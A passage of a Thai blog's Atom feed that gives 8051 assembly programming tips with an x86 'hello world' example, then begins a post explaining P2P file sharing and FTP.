DPTR&lt;br /&gt;ชื่อ Bit เช่น INT1, T0, T1, CY(Carry)&lt;br /&gt;ชื่อ SFR (Special Function Register) เช่น ACC, B, DPH, P1, PSW, TCON&lt;br /&gt;&lt;br /&gt;ชื่อทั้ง 3 กลุ่มนี้ บางตัวก็คือตัวเดียวกัน แต่มองจากคนละมุม เช่น A และ ACC , C และ CY ทั้งนี้เพื่อ&lt;br /&gt;ให้เข้ากับชุดคำสั่งของแต่ละประเภท ตัวอย่างเช่น คำสั่ง PUSH จะกำหนดให้ตามด้วยชื่อแบบ Direct&lt;br /&gt;เพราะฉะนั้นจะต้องใช้เป็น PUSH ACC จะใช้เป็น PUSH A ไม่ได้ ชื่อ Direct ในที่นี้ยังหมายถึงชื่อ&lt;br /&gt;ที่เรากำหนดเองก็ได้จากคำสั่ง DS หรือ EQU ด้วย อีกตัวอย่างเช่น คำสั่ง JB bit,rel ถ้าเราใช้เป็น&lt;br /&gt;JB CY,rel ก็จะทำงานเหมือนคำสั่ง JC rel เช่นกัน โดยมี Op-Code ที่แตกต่างกัน ทั้งนี้ CY จะเป็นชื่อ&lt;br /&gt;ที่มองในฐานะของ Bit Address ส่วน C จะเป็นชื่อที่เป็นรูปแบบของคำสั่งไปเลย เราจะต้องเข้าใจ&lt;br /&gt;คำสั่งแต่ละคำสั่งให้ชัดเจน จึงจะสามารถอ้างอิงได้ถูกต้องตามขบวนท่า นอกจากนี้ ชื่อ SFR ยังมี&lt;br /&gt;ความสามารถในการใส่จุดหลังชื่อได้อีก ซึ่งจะทำให้เรียกใช้งานได้ในหลายรูปแบบ ตัวอย่างเช่น&lt;br /&gt;P3.3 จะเหมือนกับ INT1 (คือ SFR ชื่อ P3 บิทที่ 3) , PSW.7 จะเหมือนกับ CY นั่นเอง&lt;br /&gt;&lt;br /&gt;4. Boolean Processor ต้องใช้ให้คุ้ม&lt;br /&gt;MCS-51 มีความสามารถในเรื่องบิทที่ดีมาก ซึ่งจะต้องนำมาใช้ประโยชน์ให้คุ้มค่า โดยเฉพาะอย่างยิ่ง&lt;br /&gt;ในเรื่องของการกำหนด Flag ต่าง ๆ พื้นที่ใน Internal RAM ส่วนหนึ่งคือ 20-2FH (16 Byte,128 Bit)&lt;br /&gt;และพื้นที่ SFR ที่มี Address ลงท้ายด้วย 0 และ 8 จะสามารถอ้างอิงถึงในระดับบิทได้ เปรียบเสมือนมี&lt;br /&gt;Register 1 บิท ซึ่งนำมาเปรียบเทียบได้ , move ได้ , กำหนดให้เป็น 0 หรือ 1 ได้ รวมทั้งทำการ Jump&lt;br /&gt;ตามค่าบิทนั้น ๆ ได้ด้วย การใช้งาน MCS-51 โดยไม่ได้ใช้คำสั่งเกี่ยวกับบิทเลย คงจะเป็นเรื่องแปลก&lt;br /&gt;ทีเดียว&lt;br /&gt;&lt;br /&gt;5. ใช้ Registor ขนาด 16 บิทอย่างเหมาะสม&lt;br /&gt;หลายคนคงรู้สึกอึดอัดใจกับ MCS-51 ในเรื่องการอ้างอิง Address แบบ 16 บิท ซึ่งมี DPTR เพียงตัวเดียว&lt;br /&gt;และยังทำการ Increment ได้อย่างเดียว โดยไม่สามารถ Decrement ได้ ในเรื่องนี้ถ้าเราใช้ External&lt;br /&gt;RAM เพื่อการเก็บข้อมูลอย่างเหมาะสม ก็จะไม่รู้สึกถึงปัญหานี้แต่อย่างใด MCS-51 ได้ออกแบบโดยให้&lt;br /&gt;ใช้งานที่ Internal RAM เป็นหลัก เพราะฉะนั้นไม่ต้องคิดมาก พยายามใช้งานให้สอดคล้องตามที่เขาออก&lt;br /&gt;แบบมา ... สบายมาก&lt;br /&gt;&lt;br /&gt;6. อักษรที่ต้องจำให้ขึ้นใจ (# และ @)&lt;br /&gt;ในภาษา Assembly ของ MCS-51 อักษรทั้ง 2 ตัวนี้จะพบบ่อย ๆ และมักจะทำให้ผู้เริ่มสับสนได้พอสมควร&lt;br /&gt;อักษร # จะใช้แทนค่าคงที่ เช่น คำสั่ง MOV A,#40H คือการนำค่า 40H เก็บไว้ใน Register A ถ้าไม่ได้ใส่ &lt;br /&gt;อักษร # ไว้ก็จะเป็น MOV A,40H ซึ่งจะมีการทำงานไปคนละเรื่องเลย คือการนำค่าจาก Internal RAM &lt;br /&gt;ตำแหน่งที่ 40H ไปไว้ใน Register A ส่วนอักษร @ จะใช้ในความหมายของ In-direct คือการอ้างถึง&lt;br /&gt;หน่วยความจำผ่านทาง Register อีกที เช่น MOV A,@R0 คือการนำค่าใน Internal RAM ที่ถูกชี้ด้วย R0&lt;br /&gt;มาเก็บไว้ใน Register A หรือเช่น MOVX A,@DPTR คือการนำค่าใน Data Memory ที่ถูกชี้ด้วย DPTR&lt;br /&gt;มาเก็บไว้ใน Register A&lt;br /&gt;&lt;br /&gt;7. คำสั่งที่อาจจะสับสนได้&lt;br /&gt;คำสั่งของ MCS-51 หลายคำสั่งที่ให้ความหมายไม่เหมือนกับคำสั่งของชิพตระกูลอื่น ๆ (โดยเฉพาะ Z80)&lt;br /&gt;ซึ่งอาจจะทำให้สับสนได้ (ใครทำให้ใครสับสนก็ไม่รู้) พอจะรวบรวมได้ดังนี้ ...&lt;br /&gt;&lt;br /&gt;คำสั่ง RLC และ RL หมายถึงการ Rotate Left แบบผ่าน Carry และไม่ผ่าน Carry ตามลำดับ&lt;br /&gt;(Z80 จะให้ความหมายตรงข้ามกันเลย)&lt;br /&gt;&lt;br /&gt;คำสั่ง JNZ และ JZ หมายถึงการกระโดดไป เมื่อ A ไม่เท่ากับ 0 และ A เท่ากับ 0 ตามลำดับ&lt;br /&gt;สำหรับ MCS-51 จะตรวจสอบจากค่า A โดยตรง คือไม่ได้มี Zero flag เหมือน Z80 เพราะฉะนั้น&lt;br /&gt;จะใช้ที่จุดใด ต้องแน่ใจว่าก่อนหน้านั้นมีการกระทำกับ Register A เสียก่อน &lt;br /&gt;&lt;br /&gt;คำสั่ง SUBB หมายถึงคำสั่งลบเลข โดยใน MCS-51 จะสนใจค่า Carry ด้วยเสมอ คือถ้าเป็นการ&lt;br /&gt;เริ่มต้นลบ จะต้องทำการ Clear Carry (CLR C) ก่อนเสมอ&lt;br /&gt;&lt;br /&gt;คำสั่ง CJNE หมายถึงการ Compare ซึ่งจะทำการกระโดดไป เมื่อค่าไม่เท่า แต่ถ้าจะกระทำการ&lt;br /&gt;เปรียบเทียบในเชิงค่ามากกว่า,น้อยกว่า ก็ทำได้เช่นเดียวกัน โดยการให้กระโดดไปยังบรรทัดต่อไป&lt;br /&gt;และใช้คำสั่ง JNC และ JC ได้ตามต้องการ (ไม่สามารถใช้ JNZ และ JZ ได้) ตัวอย่างเช่น&lt;br /&gt;&lt;br /&gt;CJNE A,B,$+3 (อักษร $+3 เป็นการบอกให้ตัวแปลรับรู้ โดยอ้างถึงตำแหน่ง ณ คำสั่งนี้ บวกไปอีก 3 Byte)&lt;br /&gt;JNC ... ให้กระโดดไปที่ ... ถ้า A &amp;lt; B&lt;br /&gt;หรือ&lt;br /&gt;JC ... ให้กระโดดไปที่ ... ถ้า A =&amp;gt; B&lt;br /&gt;&lt;br /&gt;8. Interrupt ... เลือกใช้ให้เหมาะสม&lt;br /&gt;เนื่องจาก MCS-51 มีโครงสร้างการ Interrupt ให้ใช้จากแหล่งหลาย ๆ อย่าง จึงทำให้ผู้เขียนโปรแกรมมีทาง&lt;br /&gt;เลือกวิธีการใช้ได้มากขึ้นด้วย อย่างไรก็ตาม ใน Interrupt Routine จะต้องพยายามทำให้กระชับ และทำงาน&lt;br /&gt;อย่างรวดเร็วที่สุดเท่าที่จะทำได้ ทั้งนี้ในระหว่างที่ทำงานอยู่ใน Interrupt Routine นี้ ถ้าเกิดมีกรณีการ &lt;br /&gt;Interrupt ซ้อนกันอีกครั้ง ระบบจะไม่ตอบสนองการ Interrupt นั้น ๆ จนกว่าจะจบการทำงานของ Routine&lt;br /&gt;ที่มีกำลังทำอยู่ (คือเจอคำสั่ง RETI) การ Interrupt ซ้อนกัน 1 ครั้งจะไม่มีปัญหาใด ๆ กับระบบ เพราะ MCS-51&lt;br /&gt;จะยังคงตอบสนองได้ครบถ้วน แต่ถ้ามีการ Interrupt ซ้อนกันมากกว่า 1 ครั้ง (หมายถึงจากแหล่งเดียวกัน) &lt;br /&gt;ก็จะทำให้การตอบสนองผิดพลาดไปได้ &lt;br /&gt;&lt;br /&gt;9. P0,P1,P2,P3 ... ใช้เป็น Active Low ให้หมด&lt;br /&gt;เมื่อเปิดไฟเข้าระบบ หรือเมื่อทำงาน Reset ตัว MCU แล้ว ขาสัญญานทั้ง 4 Port จะมีสถานะเป็น 1 เสมอ&lt;br /&gt;เพราะฉะนั้น ถ้ามีการนำขาสัญญานไปขับวงจรใด ๆ แล้ว ต้องคำนึงเสมอว่าให้วงจรทำงานแบบ Active Low&lt;br /&gt;คือทำงานเมื่อเป็น 0 เช่นถ้านำไปขับวงจร Relay วงจรนี้จะทำให้ Relay ON เมื่อเป็น 0 ด้วยการออกแบบ&lt;br /&gt;ที่ถูกต้องนี้ จะช่วยให้งานมีความสมบูรณ์ในการใช้งานเป็นอย่างดี&lt;br /&gt;&lt;br /&gt;10. ไมโครคอนโทรลเลอร์ ก็คือ ไมโครคอนโทรลเลอร์&lt;br /&gt;ความหมายของข้อนี้ก็คือ ให้ไมโครคอนโทรลเลอร์ทำงานของมันอย่างที่ควรเป็น ถ้าจะทำระบบที่ซับซ้อนมาก ๆ &lt;br /&gt;หรือมีการเก็บข้อมูลอย่างมหาศาล หรือมีความเร็วสูงแบบไม่เห็นฝุ่น บางทีอาจจะต้องทบทวนก่อนว่า ระบบ&lt;br /&gt;ไมโครคอนโทรลเลอร์จะสามารถทำได้อย่างที่ต้องการหรือไม่ เพราะชื่อของมันก็บอกอยู่แล้วว่า สำหรับการ&lt;br /&gt;Control หรือการควบคุมนั่นเอง การนำไปใช้กับระบบที่เกินขอบเขตของมัน อาจจะต้องแยกงานเป็นส่วน ๆ &lt;br /&gt;และใช้ MCU หลาย ๆ ตัวช่วยกันทำงาน หรืออาจจะออกแบบให้ทำงานร่วมกับเครื่อง PC หรือถ้ายังไม่ไหว&lt;br /&gt;ก็เปลี่ยนไปใช้ MCU ที่มีขนาดใหญ่ ๆ ตามไปด้วยเลยจะดีกว่า ... &lt;br /&gt;

&lt;h2&gt;
&lt;span class=&quot;mw-headline&quot; id=&quot;.E0.B8.95.E0.B8.B1.E0.B8.A7.E0.B8.AD.E0.B8.A2.E0.B9.88.E0.B8.B2.E0.B8.87.E0.B9.82.E0.B8.84.E0.B9.89.E0.B8.94.E0.B9.82.E0.B8.9B.E0.B8.A3.E0.B9.81.E0.B8.81.E0.B8.A3.E0.B8.A1&quot;&gt;ตัวอย่างโค้ดโปรแกรม&lt;/span&gt;&lt;/h2&gt;
&lt;div class=&quot;mw-geshi mw-code mw-content-ltr&quot; dir=&quot;ltr&quot;&gt;
&lt;div class=&quot;asm source-asm&quot;&gt;
&lt;pre class=&quot;de1&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;org &lt;span class=&quot;nu0&quot;&gt;100h&lt;/span&gt;
&lt;span class=&quot;co1&quot;&gt;; set video mode    &lt;/span&gt;
&lt;span class=&quot;kw1&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;kw4&quot;&gt;ax&lt;/span&gt;&lt;span class=&quot;sy1&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nu0&quot;&gt;3&lt;/span&gt;     &lt;span class=&quot;co1&quot;&gt;; text mode 80x25, 16 colors, 8 pages (ah=0, al=3)&lt;/span&gt;
&lt;span class=&quot;kw1&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nu0&quot;&gt;10h&lt;/span&gt;       &lt;span class=&quot;co1&quot;&gt;; do it!&lt;/span&gt;
&lt;span class=&quot;co1&quot;&gt;; cancel blinking and enable all 16 colors:&lt;/span&gt;
&lt;span class=&quot;kw1&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;kw4&quot;&gt;ax&lt;/span&gt;&lt;span class=&quot;sy1&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nu0&quot;&gt;1003h&lt;/span&gt;
&lt;span class=&quot;kw1&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;kw4&quot;&gt;bx&lt;/span&gt;&lt;span class=&quot;sy1&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nu0&quot;&gt;0&lt;/span&gt;
&lt;span class=&quot;kw1&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nu0&quot;&gt;10h&lt;/span&gt;
&lt;span class=&quot;co1&quot;&gt;; set segment register:&lt;/span&gt;
&lt;span class=&quot;kw1&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;kw4&quot;&gt;ax&lt;/span&gt;&lt;span class=&quot;sy1&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nu0&quot;&gt;0b800h&lt;/span&gt;
&lt;span class=&quot;kw1&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;kw4&quot;&gt;ds&lt;/span&gt;&lt;span class=&quot;sy1&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kw4&quot;&gt;ax&lt;/span&gt;
&lt;span class=&quot;co1&quot;&gt;; print &quot;hello world&quot;&lt;/span&gt;
&lt;span class=&quot;co1&quot;&gt;; first byte is ascii code, second byte is color code.&lt;/span&gt;
&lt;span class=&quot;kw1&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nu0&quot;&gt;02h&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sy1&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&#39;H&#39;&lt;/span&gt;
&lt;span class=&quot;kw1&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nu0&quot;&gt;04h&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sy1&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&#39;e&#39;&lt;/span&gt;
&lt;span class=&quot;kw1&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nu0&quot;&gt;06h&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sy1&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&#39;l&#39;&lt;/span&gt;
&lt;span class=&quot;kw1&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nu0&quot;&gt;08h&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sy1&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&#39;l&#39;&lt;/span&gt;
&lt;span class=&quot;kw1&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nu0&quot;&gt;0ah&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sy1&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&#39;o&#39;&lt;/span&gt;
&lt;span class=&quot;kw1&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nu0&quot;&gt;0ch&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sy1&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&#39;,&#39;&lt;/span&gt;
&lt;span class=&quot;kw1&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nu0&quot;&gt;0eh&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sy1&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&#39;W&#39;&lt;/span&gt;
&lt;span class=&quot;kw1&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nu0&quot;&gt;10h&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sy1&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&#39;o&#39;&lt;/span&gt;
&lt;span class=&quot;kw1&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nu0&quot;&gt;12h&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sy1&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&#39;r&#39;&lt;/span&gt;
&lt;span class=&quot;kw1&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nu0&quot;&gt;14h&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sy1&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&#39;l&#39;&lt;/span&gt;
&lt;span class=&quot;kw1&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nu0&quot;&gt;16h&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sy1&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&#39;d&#39;&lt;/span&gt;
&lt;span class=&quot;kw1&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nu0&quot;&gt;18h&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sy1&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&#39;!&#39;&lt;/span&gt;
&lt;span class=&quot;co1&quot;&gt;; color all characters:&lt;/span&gt;
&lt;span class=&quot;kw1&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;kw4&quot;&gt;cx&lt;/span&gt;&lt;span class=&quot;sy1&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nu0&quot;&gt;12&lt;/span&gt;  &lt;span class=&quot;co1&quot;&gt;; number of characters.&lt;/span&gt;
&lt;span class=&quot;kw1&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;kw4&quot;&gt;di&lt;/span&gt;&lt;span class=&quot;sy1&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nu0&quot;&gt;03h&lt;/span&gt; &lt;span class=&quot;co1&quot;&gt;; start from byte after &#39;h&#39;&lt;/span&gt;
c&lt;span class=&quot;sy1&quot;&gt;:&lt;/span&gt;  &lt;span class=&quot;kw1&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;kw4&quot;&gt;di&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sy1&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nu0&quot;&gt;11101100b&lt;/span&gt;   &lt;span class=&quot;co1&quot;&gt;; light red (1100) on yellow (1110)&lt;/span&gt;
    &lt;span class=&quot;kw1&quot;&gt;add&lt;/span&gt; &lt;span class=&quot;kw4&quot;&gt;di&lt;/span&gt;&lt;span class=&quot;sy1&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nu0&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;co1&quot;&gt;; skip over next ascii code in vga memory.&lt;/span&gt;
    &lt;span class=&quot;kw1&quot;&gt;loop&lt;/span&gt; c
&lt;span class=&quot;co1&quot;&gt;; wait for any key press:&lt;/span&gt;
&lt;span class=&quot;kw1&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;kw4&quot;&gt;ah&lt;/span&gt;&lt;span class=&quot;sy1&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nu0&quot;&gt;0&lt;/span&gt;
&lt;span class=&quot;kw1&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nu0&quot;&gt;16h&lt;/span&gt;
&lt;span class=&quot;kw1&quot;&gt;ret&lt;/span&gt;&lt;/span&gt;

&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;ที่มา : &lt;a href=&quot;http://th.wikipedia.org/wiki/%E0%B8%A0%E0%B8%B2%E0%B8%A9%E0%B8%B2%E0%B9%81%E0%B8%AD%E0%B8%AA%E0%B9%80%E0%B8%8B%E0%B8%A1%E0%B8%9A%E0%B8%A5%E0%B8%B5&quot;&gt;http://th.wikipedia.org/&lt;/a&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/6066466647405375509'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/6066466647405375509'/><link rel='alternate' type='text/html' href='http://kiss-hack.blogspot.com/2013/11/how-to-assembly.html' title='ภาษา Assembly คืออะไร? และ การเขียนโปรแกรมด้วยภาษา Assembly'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjB4qmQRUoCMHI8_1W2HC1uafOWfeki1pwjKukES9Lnz6JrcybYAoGPfq-QuLSCukVD59ngJgSdk6aUKEedF6h1wQ8ZRBQ0PVa7ewbaumkxxtIhSchrptHAV1M6mTqRE1UpiD1ktENTxThB/s72-c/srthesis2009.jpg" height="72" width="72"/></entry><entry><id>tag:blogger.com,1999:blog-2982753419959124282.post-569398374554255865</id><published>2013-10-31T20:35:00.001+07:00</published><updated>2013-10-31T20:46:43.897+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hack Web"/><category scheme="http://www.blogger.com/atom/ns#" term="Index"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP เบื้องต้น"/><category scheme="http://www.blogger.com/atom/ns#" term="กลโกง Hacker Web"/><category scheme="http://www.blogger.com/atom/ns#" term="คำสั่งพื้นฐาน"/><category scheme="http://www.blogger.com/atom/ns#" term="เขียนโปรแกรม"/><category scheme="http://www.blogger.com/atom/ns#" term="แฮกเว็บ"/><title type='text'>P2P (Peer to Peer) และ FTP คืออะไร</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5VFhobQifLFq3oSgI0X7eGhyphenhypheneKzzaJgiWY0LqMBhx3cmWNCA72ZKXpoygyOH2VxsiaBIs6SOLqPm9Ppo9J-qiMSM1qARY088HdVpbHvkLIcGBIJL16zlAFoRXJ1hzf2ueoT9ClNPwBSVm/s1600/ftp_made_simple-main.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;266&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5VFhobQifLFq3oSgI0X7eGhyphenhypheneKzzaJgiWY0LqMBhx3cmWNCA72ZKXpoygyOH2VxsiaBIs6SOLqPm9Ppo9J-qiMSM1qARY088HdVpbHvkLIcGBIJL16zlAFoRXJ1hzf2ueoT9ClNPwBSVm/s400/ftp_made_simple-main.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt; &lt;span style=&quot;font-size: large;&quot;&gt;P2P (Peer to Peer) คืออะไร&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;/div&gt;
&amp;nbsp; &lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp; ในตอนนี้หลายๆคนคงได้ยินคำว่า &quot;Bit&quot;,&quot;Torrent&quot;,&quot;P2P&quot; ฯลฯ จากที่อื่นๆ และก็คงสงสัยว่า &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;ไอเจ้าพวกนี้มันคืออะไรทำงานอย่างไร และมันวิเศษวิโสอย่างไร ทำไมถึงมีการพูดถึงกันนักหนา &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;วันนี้เราจึงจะมาทำความรู้จักมันกันครับแต่ที่สำคัญก่อนอื่นเลยเราต้องมารู้จักกับคำว่า &quot;P2P&quot; กันก่อนครับ &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;P2P หรือเต็มๆ Peer to Peer อาจจะมีคำอื่นอีกเช่น People to People ,Point to Point ซึ่งมีความหายคล้ายคลึงกัน &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;Peer to Peer คือ ... &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;- ระบบที่อนุญาติให้ผู้ใช้สามารถแลกเปลี่ยนไฟล์ระหว่างกันหรือใช้ทรัพยากรร่วมกันผ่านระบบเครือข่าย &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;- ระบบการสื่อสารจากคอมพิวเตอร์เครื่องหนึ่งไปยังอีกเครื่องหนึ่งโดยตรง &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;- ฯลฯ &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;แต่เดิมนั้นเมื่อเราต้องการดาวน์โหลดไฟล์จากแม่ข่ายโดยใช้ FTP*,HTTP** นั้น &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;หากมีคนที่ต้องการไฟล์เดียวกับเรา 500 คนมาดาวน์โหลดบนแม่ข่ายเดียวกันพร้อมๆ กันโดยแต่ละคนมี Bandwidth คนละ 256kbps &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;ถ้าจะให้ทุกคนนั้นได้ความเร็วในการดาวน์โหลดสูงสุดตัวแม่ข่ายจะต้องมี Bandwidth เท่ากับ 256kbps * 500 (125mbit) เลยทีเดียว&lt;/span&gt; &lt;br /&gt;
&lt;center&gt;
&lt;img src=&quot;http://www.bcoms.net/tipcomputer/img/p2p.gif&quot; /&gt; &lt;/center&gt;
&lt;br /&gt;
ซึ่งไม่ใช่เพียงแต่จะเปลือง Bandwidth เท่านั้น 
แต่ยังจะต้องใช้แม่ข่ายที่มีความเร็วในการประมวลผลสูงเพื่อรองรับความต้อง
การที่เพิ่มขึ้นอีกด้วย &lt;br /&gt;
จากปัญหาดังกล่าวนี้เองทำให้โปรแกรมแชร์ไฟล์ P2P 
ถูกพัฒนาขึ้นมารองรับความต้องการที่เพิ่มขึ้นโดยใช้ทรัพยากรของแม่ข่ายให้
น้อยลงนั้นเอง &lt;br /&gt;
ระบบ P2P 
นั้นถูกพัฒนาเพื่อใช้ในการแลกเปลี่ยนไฟล์ระหว่างกันโดยที่ไม่พึ่งแม่ข่ายใน
การแจกจ่ายไฟล์และทำให้สามารถหาไฟล์ที่ต้องการได้ง่ายขึ้น &lt;br /&gt;
*FTP = File Transfer Protocal &lt;br /&gt;
**HTTP = Hypertext Transfer Protocal &lt;br /&gt;
&lt;br /&gt;
จากความหมายนี้เองทำให้เราเรียกโปรแกรมที่ใช้ในการแลกเปลี่ยนไฟล์ระหว่างกันโดยไม่ได้ร้องขอไฟล์จากแม่ข่ายว่า &quot;P2P File Sharing&quot; &lt;br /&gt;
โปรแกรมประเภทนี้มีอยู่มากมายหลายตัวด้วยกัน เช่น Emule, Kazaa, Edonkey ฯลฯ หลักการทำงานคร่าวๆของโปรแกรมก็คือ &lt;br /&gt;
1.เชื่อมต่อไปยังแม่ข่ายเพื่อยืนยันตัวตนและส่งสารบัญไฟล์ที่เราแชร์ไว้ไปด้วย &lt;br /&gt;
2.หากเราต้องการหาไฟล์สักไฟล์หนึ่งเมื่อเราระบุ Keyword** โปรแกรมจะส่งคำร้องไปยังแม่ข่าย &lt;br /&gt;
จากนั้นแม่ข่ายจะส่งรายชื่อไฟล์พร้อมข้อมูลตัวตนของคนที่มีไฟล์ที่ตรงกับ Keyword ที่เราระบุกลับมา &lt;br /&gt;
3.เมื่อเราพบไฟล์ที่ต้องการแล้วตัวโปรแกรมจะใช้ข้อมูลที่ได้จากแม่ข่ายติดต่อไปยังคนนั้นๆโดยตรงเพื่อร้องขอไฟล์ &lt;br /&gt;
จากการทำงานจะเห็นได้ว่าตัวแม่ข่ายนั้นไม่ได้เป็นคนเก็บไฟล์จริงๆไว้เพียงแต่เก็บเป็นสารบัญไว้เท่านั้น &lt;br /&gt;
**Keyword = คำหรือประโยคหรือที่ระบุเพื่ออ้างอิงในระบบการค้นหา&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
